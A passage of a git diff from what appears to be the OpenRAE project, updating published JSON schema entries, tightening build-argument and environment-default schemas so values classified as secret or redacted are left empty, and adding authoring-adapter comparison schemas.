"contracts/schemas/plans/mixed-participant-composition-profile-v1.json", + "stability": "draft" +} diff --git a/contracts/schema-publication/entries/operation-receipt-v1.json b/contracts/schema-publication/entries/operation-receipt-v1.json index e9e06865e..36c02883e 100644 --- a/contracts/schema-publication/entries/operation-receipt-v1.json +++ b/contracts/schema-publication/entries/operation-receipt-v1.json @@ -2,9 +2,9 @@ "contract_id": "operation-receipt-v1", "schema_path": "contracts/schemas/control-plane/operation-receipt-v1.json", "stability": "draft", - "content_hash": "94ed21d020f0e0a6c3ca59092348bdd046ba34a3bffed34a4c7872037d0559b7", + "content_hash": "6449c3dd60d34b2d40f8bfee5c6bb3360f2ceee3c04c0d34ec520dbc036cd7ed", "last_change": { - "summary": "Added the immutable operation admission context and closed diagnostic carrier for issue #1182.", - "content_hash": "94ed21d020f0e0a6c3ca59092348bdd046ba34a3bffed34a4c7872037d0559b7" + "summary": "Add the runtime-owned mixed-composition phase operation kind (#1016).", + "content_hash": "6449c3dd60d34b2d40f8bfee5c6bb3360f2ceee3c04c0d34ec520dbc036cd7ed" } } diff --git a/contracts/schema-publication/entries/operation-status-v1.json b/contracts/schema-publication/entries/operation-status-v1.json index adf008a8b..907efe46b 100644 --- a/contracts/schema-publication/entries/operation-status-v1.json +++ b/contracts/schema-publication/entries/operation-status-v1.json @@ -2,9 +2,9 @@ "contract_id": "operation-status-v1", "schema_path": "contracts/schemas/control-plane/operation-status-v1.json", "stability": "draft", - "content_hash": "b1d6549d3b091b43700f57b3908be24e7f484709edbcf16e74a7c032f9665f2a", + "content_hash": "980c11cc8980258a94864107f78ebab3f9e654fc5b1ee17a9912c67fbcf75354", "last_change": { - "summary": "Added closed lifecycle states, immutable admission context, and canonical terminal-diagnostic constraints for issue #1182.", - "content_hash": "b1d6549d3b091b43700f57b3908be24e7f484709edbcf16e74a7c032f9665f2a" + "summary": "Add the runtime-owned mixed-composition phase operation kind (#1016).", + "content_hash": "980c11cc8980258a94864107f78ebab3f9e654fc5b1ee17a9912c67fbcf75354" } } diff --git a/contracts/schema-publication/entries/orchestration-plan-v1.json b/contracts/schema-publication/entries/orchestration-plan-v1.json index c64d0bf39..b3c5b455e 100644 --- a/contracts/schema-publication/entries/orchestration-plan-v1.json +++ b/contracts/schema-publication/entries/orchestration-plan-v1.json @@ -1,10 +1,10 @@ { + "content_hash": "4c3d2dcd4e4f534b9981295d4b6a5ed2ef373b320cbf7366226c7a40c6af372f", "contract_id": "orchestration-plan-v1", - "schema_path": "contracts/schemas/plans/orchestration-plan-v1.json", - "stability": "draft", - "content_hash": "750e80e0c81527349f5c4ac86c4ab7da741b8568dd530e3c5ead4c2448f55892", "last_change": { - "summary": "Explicitly forbade profile execution bindings outside provisioning in the shared operation shape for issue #1204.", - "content_hash": "750e80e0c81527349f5c4ac86c4ab7da741b8568dd530e3c5ead4c2448f55892" - } + "content_hash": "4c3d2dcd4e4f534b9981295d4b6a5ed2ef373b320cbf7366226c7a40c6af372f", + "summary": "Bind explicit augmentation-scope negotiation to the canonical phase plan independently of diagnostics (#1242)." + }, + "schema_path": "contracts/schemas/plans/orchestration-plan-v1.json", + "stability": "draft" } diff --git a/contracts/schema-publication/entries/participant-behavior-history-event-stream-v1.json b/contracts/schema-publication/entries/participant-behavior-history-event-stream-v1.json index 4859cc92e..711b9f3e1 100644 --- a/contracts/schema-publication/entries/participant-behavior-history-event-stream-v1.json +++ b/contracts/schema-publication/entries/participant-behavior-history-event-stream-v1.json @@ -2,9 +2,9 @@ "contract_id": "participant-behavior-history-event-stream-v1", "schema_path": "contracts/schemas/control-plane/participant-behavior-history-event-stream-v1.json", "stability": "draft", - "content_hash": "31023f0a93a796df740630188c8547b656225cadc0e88ac2de4fc1a001718338", + "content_hash": "6601d330f1dc4a7e11a1828bef9da515b64a40539827289a1c7deee4c90b003d", "last_change": { - "summary": "Preserve pinned private resource-measure coordinates alongside the six built-in kinds in portable quantities, accounting and history for issue #1208.", - "content_hash": "31023f0a93a796df740630188c8547b656225cadc0e88ac2de4fc1a001718338" + "summary": "Add opt-in bounded shared-time guarantees and typed numeric authoring; keep backend execution capabilities conditional (#216).", + "content_hash": "6601d330f1dc4a7e11a1828bef9da515b64a40539827289a1c7deee4c90b003d" } } diff --git a/contracts/schema-publication/entries/participant-control-evaluation-v1.json b/contracts/schema-publication/entries/participant-control-evaluation-v1.json new file mode 100644 index 000000000..9d6efe1cc --- /dev/null +++ b/contracts/schema-publication/entries/participant-control-evaluation-v1.json @@ -0,0 +1,10 @@ +{ + "contract_id": "participant-control-evaluation-v1", + "schema_path": "contracts/schemas/participant-runtime/participant-control-evaluation-v1.json", + "stability": "draft", + "content_hash": "0401ae557f60e18498ab1bd5a9fb2a6b88e8be7998ee5a58dd0aa09c486e6d02", + "last_change": { + "summary": "Allow a digest-only exact-cut subject so the live RUN-319 crossing occurrence this context names is expressible for issue #1069.", + "content_hash": "0401ae557f60e18498ab1bd5a9fb2a6b88e8be7998ee5a58dd0aa09c486e6d02" + } +} diff --git a/contracts/schema-publication/entries/participant-control-evaluation-v2.json b/contracts/schema-publication/entries/participant-control-evaluation-v2.json new file mode 100644 index 000000000..62db73cc1 --- /dev/null +++ b/contracts/schema-publication/entries/participant-control-evaluation-v2.json @@ -0,0 +1,10 @@ +{ + "contract_id": "participant-control-evaluation-v2", + "schema_path": "contracts/schemas/participant-runtime/participant-control-evaluation-v2.json", + "stability": "draft", + "content_hash": "8873652137087581573b20409b0389a63ae98dcc178b147fe846e6df06cdf242", + "last_change": { + "summary": "Publish exact-cut coverage, dependency inputs and composed decisions for participant control (#1365).", + "content_hash": "8873652137087581573b20409b0389a63ae98dcc178b147fe846e6df06cdf242" + } +} diff --git a/contracts/schema-publication/entries/participant-control-selection-v1.json b/contracts/schema-publication/entries/participant-control-selection-v1.json new file mode 100644 index 000000000..58b7895ae --- /dev/null +++ b/contracts/schema-publication/entries/participant-control-selection-v1.json @@ -0,0 +1,10 @@ +{ + "contract_id": "participant-control-selection-v1", + "schema_path": "contracts/schemas/participant-runtime/participant-control-selection-v1.json", + "stability": "draft", + "content_hash": "9379ace28dd86e80ff2ff2342c8836acc14d428f9be47b32bb83aba321db3710", + "last_change": { + "summary": "Publish closed modular participant-control contracts and governed declaration support for issue #1072.", + "content_hash": "9379ace28dd86e80ff2ff2342c8836acc14d428f9be47b32bb83aba321db3710" + } +} diff --git a/contracts/schema-publication/entries/participant-control-selection-v2.json b/contracts/schema-publication/entries/participant-control-selection-v2.json new file mode 100644 index 000000000..63fba7c48 --- /dev/null +++ b/contracts/schema-publication/entries/participant-control-selection-v2.json @@ -0,0 +1,10 @@ +{ + "contract_id": "participant-control-selection-v2", + "schema_path": "contracts/schemas/participant-runtime/participant-control-selection-v2.json", + "stability": "draft", + "content_hash": "f3a1cfc18b14a26413fa232c3baf351e2b48f2042253cc71a5dcea424652110b", + "last_change": { + "summary": "Publish admitted apparatus and profile obligations for applicable participant control (#1365).", + "content_hash": "f3a1cfc18b14a26413fa232c3baf351e2b48f2042253cc71a5dcea424652110b" + } +} diff --git a/contracts/schema-publication/entries/participant-control-teaching-profile-v1.json b/contracts/schema-publication/entries/participant-control-teaching-profile-v1.json new file mode 100644 index 000000000..7d4f7eed4 --- /dev/null +++ b/contracts/schema-publication/entries/participant-control-teaching-profile-v1.json @@ -0,0 +1,10 @@ +{ + "contract_id": "participant-control-teaching-profile-v1", + "schema_path": "contracts/schemas/participant-runtime/participant-control-teaching-profile-v1.json", + "stability": "draft", + "content_hash": "e6918854247fd0aa9b9792446fc992c475d88e99d5e3d3cad7599717cc8a8606", + "last_change": { + "summary": "Publish closed modular participant-control contracts and governed declaration support for issue #1072.", + "content_hash": "e6918854247fd0aa9b9792446fc992c475d88e99d5e3d3cad7599717cc8a8606" + } +} diff --git a/contracts/schema-publication/entries/participant-execution-binding-v1.json b/contracts/schema-publication/entries/participant-execution-binding-v1.json index 16c2b8275..71d30611c 100644 --- a/contracts/schema-publication/entries/participant-execution-binding-v1.json +++ b/contracts/schema-publication/entries/participant-execution-binding-v1.json @@ -2,9 +2,9 @@ "contract_id": "participant-execution-binding-v1", "schema_path": "contracts/schemas/participant-runtime/participant-execution-binding-v1.json", "stability": "draft", - "content_hash": "19ce843b0a2dd666954abc2cad2b23ef76ad800bce4bc95d156c49b6f7424671", + "content_hash": "a58d81f90d3fec4e9b8e52671101642a1669e08c2d26ed220c60e8918267d746", "last_change": { - "summary": "Rebound the published schema namespace to the renamed OpenRAE GitHub organization for issue #963.", - "content_hash": "19ce843b0a2dd666954abc2cad2b23ef76ad800bce4bc95d156c49b6f7424671" + "summary": "Add opt-in bounded shared-time guarantees and typed numeric authoring; keep backend execution capabilities conditional (#216).", + "content_hash": "a58d81f90d3fec4e9b8e52671101642a1669e08c2d26ed220c60e8918267d746" } } diff --git a/contracts/schema-publication/entries/participant-history-view-v1.json b/contracts/schema-publication/entries/participant-history-view-v1.json index 04e1c8ec4..b2db288da 100644 --- a/contracts/schema-publication/entries/participant-history-view-v1.json +++ b/contracts/schema-publication/entries/participant-history-view-v1.json @@ -2,9 +2,9 @@ "contract_id": "participant-history-view-v1", "schema_path": "contracts/schemas/control-plane/participant-history-view-v1.json", "stability": "draft", - "content_hash": "9b564ac695bc9ad794c681355168aca8658915d2d940a91a3bc78d7adb9e1c09", + "content_hash": "dddcf90e771ac49af5a9c0f6c95e19e4436c9250c21149d48ec1b14c0b093f35", "last_change": { - "summary": "Preserve pinned private resource-measure coordinates alongside the six built-in kinds in portable quantities, accounting and history for issue #1208.", - "content_hash": "9b564ac695bc9ad794c681355168aca8658915d2d940a91a3bc78d7adb9e1c09" + "summary": "Add opt-in bounded shared-time guarantees and typed numeric authoring; keep backend execution capabilities conditional (#216).", + "content_hash": "dddcf90e771ac49af5a9c0f6c95e19e4436c9250c21149d48ec1b14c0b093f35" } } diff --git a/contracts/schema-publication/entries/participant-outcome-report-v2.json b/contracts/schema-publication/entries/participant-outcome-report-v2.json new file mode 100644 index 000000000..3a40b36d1 --- /dev/null +++ b/contracts/schema-publication/entries/participant-outcome-report-v2.json @@ -0,0 +1,10 @@ +{ + "contract_id": "participant-outcome-report-v2", + "schema_path": "contracts/schemas/participant-runtime/participant-outcome-report-v2.json", + "stability": "draft", + "content_hash": "b0a945973dd02e06afd8bcc57f3eb7aa12d1884456ab795b1586aa9972078a80", + "last_change": { + "summary": "Add versioned participant-local outcome definitions and replayable outcome reports for ACT-618 (#218); preserve legacy reports and rule interpretation.", + "content_hash": "b0a945973dd02e06afd8bcc57f3eb7aa12d1884456ab795b1586aa9972078a80" + } +} diff --git a/contracts/schema-publication/entries/provisioning-plan-v1.json b/contracts/schema-publication/entries/provisioning-plan-v1.json index 0b3c9cad2..d0a5352ee 100644 --- a/contracts/schema-publication/entries/provisioning-plan-v1.json +++ b/contracts/schema-publication/entries/provisioning-plan-v1.json @@ -1,9 +1,9 @@ { - "content_hash": "ef99294459cf9f02a66c65ccb6281db0eaee21fb2c112ea9ed8b3ba554fdd311", + "content_hash": "924e2f828a3e8bade4a59edb18dd24aa1801d4fa6f17856e894e330b2b72bb68", "contract_id": "provisioning-plan-v1", "last_change": { - "content_hash": "ef99294459cf9f02a66c65ccb6281db0eaee21fb2c112ea9ed8b3ba554fdd311", - "summary": "Carry value-free run_id and instantiation_id scope identity through the published plan model for issue #1276." + "content_hash": "924e2f828a3e8bade4a59edb18dd24aa1801d4fa6f17856e894e330b2b72bb68", + "summary": "Bind explicit augmentation-scope negotiation to the canonical phase plan independently of diagnostics (#1242)." }, "schema_path": "contracts/schemas/plans/provisioning-plan-v1.json", "stability": "draft" diff --git a/contracts/schema-publication/entries/raes-semantic-invariants-v1.json b/contracts/schema-publication/entries/raes-semantic-invariants-v1.json index 270a74563..f5c3669e7 100644 --- a/contracts/schema-publication/entries/raes-semantic-invariants-v1.json +++ b/contracts/schema-publication/entries/raes-semantic-invariants-v1.json @@ -6,5 +6,24 @@ "last_change": { "summary": "Rebound the published schema namespace to the renamed OpenRAE GitHub organization for issue #963.", "content_hash": "ca5215479a7e87ad3218d96c06f8a3ebb5cac1b520c1df27d3f68f86dca4c91d" + }, + "coverage": { + "rationale": "This profile is realized as the x-raes-invariants entries and x-raes-semantic-profile references embedded in other published schemas, so it has no standalone document to route.", + "sources": [ + { + "kind": "embedded", + "path": "contracts/schemas/experiment-core/experiment-run-v1.json", + "pointer": "/x-raes-invariants/0", + "schema_pointer": "#/$defs/RaesSemanticInvariantEntryModel", + "supports": "A published invariant annotation entry, validated at the contract-publication phase." + }, + { + "kind": "embedded", + "path": "contracts/schemas/experiment-core/experiment-run-v1.json", + "pointer": "/x-raes-semantic-profile", + "schema_pointer": "#/$defs/RaesSemanticInvariantProfileReferenceModel", + "supports": "A published host-schema profile reference, validated at the same phase." + } + ] } } diff --git a/contracts/schema-publication/entries/runtime-snapshot-v1.json b/contracts/schema-publication/entries/runtime-snapshot-v1.json index a028a5c51..245355d69 100644 --- a/contracts/schema-publication/entries/runtime-snapshot-v1.json +++ b/contracts/schema-publication/entries/runtime-snapshot-v1.json @@ -1,10 +1,10 @@ { + "content_hash": "61cce2dd5c4e9a964c5354083e1d417a47897ff62e82887bbcb3e7af5aedff48", "contract_id": "runtime-snapshot-v1", - "schema_path": "contracts/schemas/snapshots/runtime-snapshot-v1.json", - "stability": "draft", - "content_hash": "c372d06be77423f7c8c3d76615e9fd2b2c999e0cca20e7ac7825478889d77913", "last_change": { - "summary": "Preserve pinned private resource-measure coordinates alongside the six built-in kinds in portable quantities, accounting and history for issue #1208.", - "content_hash": "c372d06be77423f7c8c3d76615e9fd2b2c999e0cca20e7ac7825478889d77913" - } + "summary": "Persist participant-local outcomes alongside bounded shared-time execution state.", + "content_hash": "61cce2dd5c4e9a964c5354083e1d417a47897ff62e82887bbcb3e7af5aedff48" + }, + "schema_path": "contracts/schemas/snapshots/runtime-snapshot-v1.json", + "stability": "draft" } diff --git a/contracts/schema-publication/entries/scenario-satisfiability-evidence-v1.json b/contracts/schema-publication/entries/scenario-satisfiability-evidence-v1.json index eb9e03ed9..9ad777a2f 100644 --- a/contracts/schema-publication/entries/scenario-satisfiability-evidence-v1.json +++ b/contracts/schema-publication/entries/scenario-satisfiability-evidence-v1.json @@ -1,9 +1,9 @@ { - "content_hash": "1d33fec7ef53c65b20212f19c1328ba2495cd26559956a8bcf0f2801f62f426d", + "content_hash": "765e81765467f2e29b52bee8cd6daabe284c1542665c4f634c47b632b37fedb4", "contract_id": "scenario-satisfiability-evidence-v1", "last_change": { - "content_hash": "1d33fec7ef53c65b20212f19c1328ba2495cd26559956a8bcf0f2801f62f426d", - "summary": "Reconcile the #1210 progressive semantic cutover (explicit revision, migration decisions, and canonical authoring/snapshot profiles) with the #1276 StringPredicate expected/expected_from XOR invariant and random-value/scope/binding fields." + "summary": "Add participant-local outcomes and identity assignment alongside opt-in bounded shared-time guarantees.", + "content_hash": "765e81765467f2e29b52bee8cd6daabe284c1542665c4f634c47b632b37fedb4" }, "schema_path": "contracts/schemas/satisfiability/scenario-satisfiability-evidence-v1.json", "stability": "draft" diff --git a/contracts/schema-publication/entries/sdl-authoring-input-v1.json b/contracts/schema-publication/entries/sdl-authoring-input-v1.json index e52bb46b6..5c664b249 100644 --- a/contracts/schema-publication/entries/sdl-authoring-input-v1.json +++ b/contracts/schema-publication/entries/sdl-authoring-input-v1.json @@ -1,9 +1,9 @@ { - "content_hash": "06582de9ecf6a7b039bf7e3716dd5eef8e11a144bfc6610eaa5884c71d3e280d", + "content_hash": "643052d648a1afd04f50e70f0127cc467bf20084156754aceec5964a78529d81", "contract_id": "sdl-authoring-input-v1", "last_change": { - "content_hash": "06582de9ecf6a7b039bf7e3716dd5eef8e11a144bfc6610eaa5884c71d3e280d", - "summary": "Reconcile the #1210 progressive semantic cutover (explicit revision, migration decisions, and canonical authoring/snapshot profiles) with the #1276 StringPredicate expected/expected_from XOR invariant and random-value/scope/binding fields." + "content_hash": "643052d648a1afd04f50e70f0127cc467bf20084156754aceec5964a78529d81", + "summary": "Constrain required evidence media types to registered, content-provable output contracts (#1401)." }, "schema_path": "contracts/schemas/sdl/sdl-authoring-input-v1.json", "stability": "draft" diff --git a/contracts/schema-publication/entries/sdl-candidate-synthesis-record-v1.json b/contracts/schema-publication/entries/sdl-candidate-synthesis-record-v1.json index aff1e1391..54352f164 100644 --- a/contracts/schema-publication/entries/sdl-candidate-synthesis-record-v1.json +++ b/contracts/schema-publication/entries/sdl-candidate-synthesis-record-v1.json @@ -1,10 +1,10 @@ { + "content_hash": "cd2073ed1d9466b95e6c74dc06b47e0ca7ad740a95d31ff2e5f526f1daa5ca3a", "contract_id": "sdl-candidate-synthesis-record-v1", - "schema_path": "contracts/schemas/candidate-synthesis/sdl-candidate-synthesis-record-v1.json", - "stability": "draft", - "content_hash": "4defcefaf02857d5935deb8c47cd4d3b8c38307a220ebc712b047ffe80dfe90d", "last_change": { - "summary": "Initial publication of the digest-bound SDL candidate-synthesis record with closed provenance and explicit semantic-omission evidence for issue #988.", - "content_hash": "4defcefaf02857d5935deb8c47cd4d3b8c38307a220ebc712b047ffe80dfe90d" - } + "content_hash": "cd2073ed1d9466b95e6c74dc06b47e0ca7ad740a95d31ff2e5f526f1daa5ca3a", + "summary": "Add the distinct materialization-attestation reference kind to portable artifact joins; it never replaces the original scenario-snapshot identity (#1241)." + }, + "schema_path": "contracts/schemas/candidate-synthesis/sdl-candidate-synthesis-record-v1.json", + "stability": "draft" } diff --git a/contracts/schemas/README.md b/contracts/schemas/README.md index e710f125e..6cacfd9b5 100644 --- a/contracts/schemas/README.md +++ b/contracts/schemas/README.md @@ -293,6 +293,17 @@ study members, and study factors is represented with keyed object maps. Run traceability and realized-form disclosure invariants keep claims grounded in evidence/derived-measure refs and keep realized choices distinct from authored scenario meaning and result values. +Task, run-plan, run, and study schemas also embed the same closed +`ExperimentEvidenceRequirementRelationModel`. Its semantic invariant requires +exact authored-scenario/declaration lineage, exact capture-specification +coordinates, carrier-owned task/run/study authority, and fail-closed governed +refinement comparisons. Generic JSON Schema validates the relation shape; +consumers apply `validate_evidence_requirement_relations()` with resolved SDL +and capture-specification inputs before treating the relationship as valid. +The trial compiler and realization path apply this validation through +`compile_scoped_evidence_requirement_demands()` before capability admission and +processor planning. Governed semantic comparison selects relation-aware +version-2 projections for current task, run, and study carriers. Cross-artifact or graph invariants that standard JSON Schema cannot express are published under the RAES semantic-invariant profile with `x-raes-invariants` entries that name the validator and input contract paths. The generated schemas diff --git a/contracts/schemas/artifact-requirements/artifact-requirement-v1.json b/contracts/schemas/artifact-requirements/artifact-requirement-v1.json index df6403a4e..d9c075a8e 100644 --- a/contracts/schemas/artifact-requirements/artifact-requirement-v1.json +++ b/contracts/schemas/artifact-requirements/artifact-requirement-v1.json @@ -802,6 +802,25 @@ "ImageBuildArg": { "additionalProperties": false, "description": "An observed build argument with value-sensitivity classification.", + "if": { + "properties": { + "value_classification": { + "anyOf": [ + { + "pattern": "^[Rr][Ee][Dd][Aa][Cc][Tt][Ee][Dd]$", + "type": "string" + }, + { + "pattern": "^[Oo][Pp][Ee][Rr][Aa][Tt][Oo][Rr][_-][Ss][Ee][Cc][Rr][Ee][Tt]$", + "type": "string" + } + ] + } + }, + "required": [ + "value_classification" + ] + }, "properties": { "description": { "default": "", @@ -834,6 +853,19 @@ "required": [ "name" ], + "then": { + "not": { + "properties": { + "value": { + "minLength": 1, + "type": "string" + } + }, + "required": [ + "value" + ] + } + }, "title": "ImageBuildArg", "type": "object" }, @@ -923,6 +955,25 @@ "ImageEnvironmentDefault": { "additionalProperties": false, "description": "An image-default environment variable with sensitivity classification.", + "if": { + "properties": { + "value_classification": { + "anyOf": [ + { + "pattern": "^[Rr][Ee][Dd][Aa][Cc][Tt][Ee][Dd]$", + "type": "string" + }, + { + "pattern": "^[Oo][Pp][Ee][Rr][Aa][Tt][Oo][Rr][_-][Ss][Ee][Cc][Rr][Ee][Tt]$", + "type": "string" + } + ] + } + }, + "required": [ + "value_classification" + ] + }, "properties": { "description": { "default": "", @@ -955,6 +1006,19 @@ "required": [ "name" ], + "then": { + "not": { + "properties": { + "value": { + "minLength": 1, + "type": "string" + } + }, + "required": [ + "value" + ] + } + }, "title": "ImageEnvironmentDefault", "type": "object" }, diff --git a/contracts/schemas/artifact-transformations/artifact-transformation-report-v1.json b/contracts/schemas/artifact-transformations/artifact-transformation-report-v1.json index 769a1d1c7..439335838 100644 --- a/contracts/schemas/artifact-transformations/artifact-transformation-report-v1.json +++ b/contracts/schemas/artifact-transformations/artifact-transformation-report-v1.json @@ -58,6 +58,7 @@ "ArtifactTransformationKind": { "enum": [ "sdl-authoring", + "sdl-materialization", "portable-contract" ], "title": "ArtifactTransformationKind", diff --git a/contracts/schemas/associated-artifacts/associated-artifact-manifest-v1.json b/contracts/schemas/associated-artifacts/associated-artifact-manifest-v1.json index f3dad2718..030e0e5f4 100644 --- a/contracts/schemas/associated-artifacts/associated-artifact-manifest-v1.json +++ b/contracts/schemas/associated-artifacts/associated-artifact-manifest-v1.json @@ -27,6 +27,7 @@ "enum": [ "scenario", "scenario-snapshot", + "materialization-attestation", "task", "authoring-input", "apparatus-context", @@ -112,6 +113,7 @@ "protocol", "metric-definition", "scenario-snapshot", + "materialization-attestation", "manifest", "apparatus-evidence", "observation", @@ -349,7 +351,8 @@ "ref_kind": { "enum": [ "scenario", - "scenario-snapshot" + "scenario-snapshot", + "materialization-attestation" ] } } diff --git a/contracts/schemas/authoring-adapters/authoring-adapter-comparison-v1.json b/contracts/schemas/authoring-adapters/authoring-adapter-comparison-v1.json new file mode 100644 index 000000000..cde5601f6 --- /dev/null +++ b/contracts/schemas/authoring-adapters/authoring-adapter-comparison-v1.json @@ -0,0 +1,357 @@ +{ + "$defs": { + "AuthoringObservationModel": { + "additionalProperties": false, + "description": "Derived evidence; consumers must retain the original diagnostic/report carriers.", + "properties": { + "artifact_coordinate": { + "anyOf": [ + { + "$ref": "#/$defs/ScenarioCoordinateModel" + }, + { + "type": "null" + } + ] + }, + "canonical_artifact_digest": { + "anyOf": [ + { + "minLength": 1, + "pattern": "^(?:sha256:[A-Fa-f0-9]{64}|sha384:[A-Fa-f0-9]{96}|sha512:[A-Fa-f0-9]{128}|blake3:[A-Fa-f0-9]{64})$", + "type": "string" + }, + { + "type": "null" + } + ], + "title": "Canonical Artifact Digest" + }, + "diagnostics_digest": { + "minLength": 1, + "pattern": "^(?:sha256:[A-Fa-f0-9]{64}|sha384:[A-Fa-f0-9]{96}|sha512:[A-Fa-f0-9]{128}|blake3:[A-Fa-f0-9]{64})$", + "title": "Diagnostics Digest", + "type": "string" + }, + "outcome": { + "enum": [ + "success", + "refused" + ], + "title": "Outcome", + "type": "string" + }, + "transformation_digest": { + "anyOf": [ + { + "minLength": 1, + "pattern": "^(?:sha256:[A-Fa-f0-9]{64}|sha384:[A-Fa-f0-9]{96}|sha512:[A-Fa-f0-9]{128}|blake3:[A-Fa-f0-9]{64})$", + "type": "string" + }, + { + "type": "null" + } + ], + "title": "Transformation Digest" + } + }, + "required": [ + "outcome", + "artifact_coordinate", + "canonical_artifact_digest", + "diagnostics_digest", + "transformation_digest" + ], + "title": "AuthoringObservationModel", + "type": "object" + }, + "ExactRepresentationModel": { + "additionalProperties": false, + "description": "Digest-only evidence for one exact representation, never a host path.", + "properties": { + "byte_digest": { + "minLength": 1, + "pattern": "^(?:sha256:[A-Fa-f0-9]{64}|sha384:[A-Fa-f0-9]{96}|sha512:[A-Fa-f0-9]{128}|blake3:[A-Fa-f0-9]{64})$", + "title": "Byte Digest", + "type": "string" + }, + "media_type": { + "enum": [ + "application/json", + "application/yaml" + ], + "title": "Media Type", + "type": "string" + }, + "profile": { + "enum": [ + "utf8-json/v1", + "utf8-yaml/v1" + ], + "title": "Profile", + "type": "string" + } + }, + "required": [ + "profile", + "media_type", + "byte_digest" + ], + "title": "ExactRepresentationModel", + "type": "object" + }, + "ScenarioCoordinateModel": { + "additionalProperties": false, + "properties": { + "artifact_kind": { + "const": "scenario", + "default": "scenario", + "title": "Artifact Kind", + "type": "string" + }, + "canonical_digest": { + "minLength": 1, + "pattern": "^(?:sha256:[A-Fa-f0-9]{64}|sha384:[A-Fa-f0-9]{96}|sha512:[A-Fa-f0-9]{128}|blake3:[A-Fa-f0-9]{64})$", + "title": "Canonical Digest", + "type": "string" + }, + "canonical_identity": { + "maxLength": 512, + "pattern": "^[A-Za-z0-9][A-Za-z0-9._:@/-]*$", + "title": "Canonical Identity", + "type": "string" + }, + "canonicalization_profile": { + "maxLength": 128, + "pattern": "^[a-z0-9-]+/v[1-9][0-9]*$", + "title": "Canonicalization Profile", + "type": "string" + }, + "exact_representation": { + "anyOf": [ + { + "$ref": "#/$defs/ExactRepresentationModel" + }, + { + "type": "null" + } + ], + "default": null + }, + "lifecycle_phase": { + "const": "normalized-authoring", + "default": "normalized-authoring", + "title": "Lifecycle Phase", + "type": "string" + }, + "scenario_id": { + "maxLength": 256, + "minLength": 1, + "title": "Scenario Id", + "type": "string" + }, + "scenario_version": { + "maxLength": 64, + "minLength": 1, + "title": "Scenario Version", + "type": "string" + }, + "source_profile": { + "const": "sdl-normalized-authoring/v1", + "default": "sdl-normalized-authoring/v1", + "title": "Source Profile", + "type": "string" + } + }, + "required": [ + "canonical_identity", + "canonicalization_profile", + "canonical_digest", + "scenario_id", + "scenario_version" + ], + "title": "ScenarioCoordinateModel", + "type": "object" + } + }, + "$id": "https://openrae.github.io/rae/schemas/authoring-adapter-comparison-v1.json", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "additionalProperties": false, + "description": "Four independent dispositions with a separately retained semantic result.", + "properties": { + "artifact_relation": { + "enum": [ + "equivalent", + "different", + "incomparable", + "not-applicable" + ], + "title": "Artifact Relation", + "type": "string" + }, + "case_id": { + "maxLength": 128, + "pattern": "^[a-z0-9]+(?:-[a-z0-9]+)*$", + "title": "Case Id", + "type": "string" + }, + "diagnostic_relation": { + "enum": [ + "equivalent", + "different", + "incomparable", + "not-applicable" + ], + "title": "Diagnostic Relation", + "type": "string" + }, + "left": { + "anyOf": [ + { + "$ref": "#/$defs/AuthoringObservationModel" + }, + { + "type": "null" + } + ] + }, + "left_matches_expected": { + "title": "Left Matches Expected", + "type": "boolean" + }, + "left_path": { + "maxLength": 128, + "pattern": "^[a-z0-9]+(?:-[a-z0-9]+)*$", + "title": "Left Path", + "type": "string" + }, + "provenance_relation": { + "enum": [ + "equivalent", + "different", + "incomparable", + "not-applicable" + ], + "title": "Provenance Relation", + "type": "string" + }, + "reason_codes": { + "default": [], + "items": { + "enum": [ + "left-input-mismatch", + "right-input-mismatch", + "left-invalid", + "right-invalid", + "left-unexpected", + "right-unexpected", + "outcomes-differ", + "artifacts-differ", + "diagnostics-differ", + "provenance-differs", + "semantics-differ", + "semantic-context-incomplete" + ], + "type": "string" + }, + "maxItems": 12, + "title": "Reason Codes", + "type": "array" + }, + "right": { + "anyOf": [ + { + "$ref": "#/$defs/AuthoringObservationModel" + }, + { + "type": "null" + } + ] + }, + "right_matches_expected": { + "title": "Right Matches Expected", + "type": "boolean" + }, + "right_path": { + "maxLength": 128, + "pattern": "^[a-z0-9]+(?:-[a-z0-9]+)*$", + "title": "Right Path", + "type": "string" + }, + "schema_version": { + "const": "authoring-adapter-comparison/v1", + "default": "authoring-adapter-comparison/v1", + "title": "Schema Version", + "type": "string" + }, + "semantic_relation": { + "enum": [ + "equivalent", + "different", + "incomparable", + "not-applicable" + ], + "title": "Semantic Relation", + "type": "string" + }, + "semantic_result_digest": { + "anyOf": [ + { + "minLength": 1, + "pattern": "^(?:sha256:[A-Fa-f0-9]{64}|sha384:[A-Fa-f0-9]{96}|sha512:[A-Fa-f0-9]{128}|blake3:[A-Fa-f0-9]{64})$", + "type": "string" + }, + { + "type": "null" + } + ], + "title": "Semantic Result Digest" + }, + "vector_digest": { + "minLength": 1, + "pattern": "^(?:sha256:[A-Fa-f0-9]{64}|sha384:[A-Fa-f0-9]{96}|sha512:[A-Fa-f0-9]{128}|blake3:[A-Fa-f0-9]{64})$", + "title": "Vector Digest", + "type": "string" + } + }, + "required": [ + "case_id", + "vector_digest", + "left_path", + "right_path", + "left", + "right", + "left_matches_expected", + "right_matches_expected", + "artifact_relation", + "diagnostic_relation", + "provenance_relation", + "semantic_relation", + "semantic_result_digest" + ], + "title": "AuthoringAdapterComparisonModel", + "type": "object", + "x-raes-invariants": [ + { + "description": "Axes must remain applicable to their evidence; success requires semantic companion evidence.", + "id": "authoring-comparison-evidence-shape", + "inputs": [ + { + "contract_id": "authoring-adapter-comparison-v1", + "instance_path": "#" + } + ], + "level": "error", + "validator": "raes_contracts.authoring_adapters.AuthoringAdapterComparisonModel.model_validate" + } + ], + "x-raes-semantic-profile": { + "contract_id": "authoring-adapter-comparison-v1", + "entry_schema_contract_id": "raes-semantic-invariants-v1", + "entry_schema_pointer": "#/$defs/RaesSemanticInvariantEntryModel", + "id": "raes-semantic-invariants-v1", + "keyword": "x-raes-invariants", + "required": true, + "uri": "https://openrae.github.io/rae/schemas/semantic-invariants/v1" + } +} diff --git a/contracts/schemas/authoring-adapters/authoring-adapter-profile-v1.json b/contracts/schemas/authoring-adapters/authoring-adapter-profile-v1.json new file mode 100644 index 000000000..318756ed9 --- /dev/null +++ b/contracts/schemas/authoring-adapters/authoring-adapter-profile-v1.json @@ -0,0 +1,67 @@ +{ + "$id": "https://openrae.github.io/rae/schemas/authoring-adapter-profile-v1.json", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "additionalProperties": false, + "description": "Fixed meaning and resource ceilings of the first, source-only profile.", + "properties": { + "canonicalization_profile": { + "const": "raes-sdl-semantic/v2", + "default": 